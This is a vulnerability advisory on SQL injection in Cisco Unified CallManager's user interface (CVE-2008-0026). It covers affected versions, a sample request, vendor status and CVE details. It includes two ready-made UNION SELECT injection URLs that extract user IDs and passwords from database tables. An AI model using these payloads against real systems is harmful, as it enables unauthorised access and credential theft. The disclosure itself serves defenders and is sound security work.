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Credit:
The information has been provided by Portcullis Computer Security.
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Vulnerable Systems:
* Cisco Unified CallManager version 5.0.4.2000-1
* Cisco Unified CallManager version 5.1
* Cisco Unified CallManager version 6.0-6.1
Immune Systems:
* Cisco Unified CallManager version 6.1a
* Cisco Unified CallManager version 5.1(3a)
The value of the 'key' parameter used in various GET requests is not properly sanitized and it is therefore possible to inject SQL queries.
In addition, the application discloses table and attribute names in the 'primaryTable' and 'dispCols' parameters of some POST requests. Another SQL injection point can be found there.
The following is a simplified POST request:
POST /ccmuser/personaladdressbookFindList.do?%3C%=reqParams%%3E&recCnt=1&colCnt=4 HTTP/1.1
Host: example.org
Referer: https://example.org/ccmuser/personaladdressbookFindList.do
Cookie: JSESSIONID=D650CB2B43F85CD8D260B69A948FA7B5;
JSESSIONIDSSO=315C472AA4B90A6765D4EDEFAC24897C
Content-Length: 170
org.apache.struts.taglib.html.TOKEN=9a4f6e1e4e11a72ed4be0981c26e6f53&
primaryTable=personaladdressbook&dispCols=pkid%23nickname%23firstname%23lastname&
searchField=nickname
Impact:
Attackers need access to either the user or administration interface. They then might be able to read data from the database such as password hashes.
Exploit:
Proof of concept exploit code is not required. The injection points are the 'key' or the 'primaryTable' and 'dispCols' parameters.
E.g.:
https://example.org/ccmuser/personaladdressbookEdit.do?key='+UNION+ALL+
SELECT+'','',firstname,lastname,userid,password+from+enduser;--
or
https://example.org/ccmuser/personaladdressbookEdit.do?key='+UNION+ALL+
SELECT+'','','',user,'',password+from+applicationuser;--
Vendor Status:
Vendor contacted - Cisco advise that they will be using bug ID CSCsk64286 for this incident. The Cisco advisory is now available at: http://www.cisco.com/warp/customer/707/cisco-sa-20080213-cucmsql.shtml
The vendor has advised that the CUCM versions not vulnerable to this issue are 5.1(3a) and 6.1(1a).
CVE Information:
CVE-2008-0026
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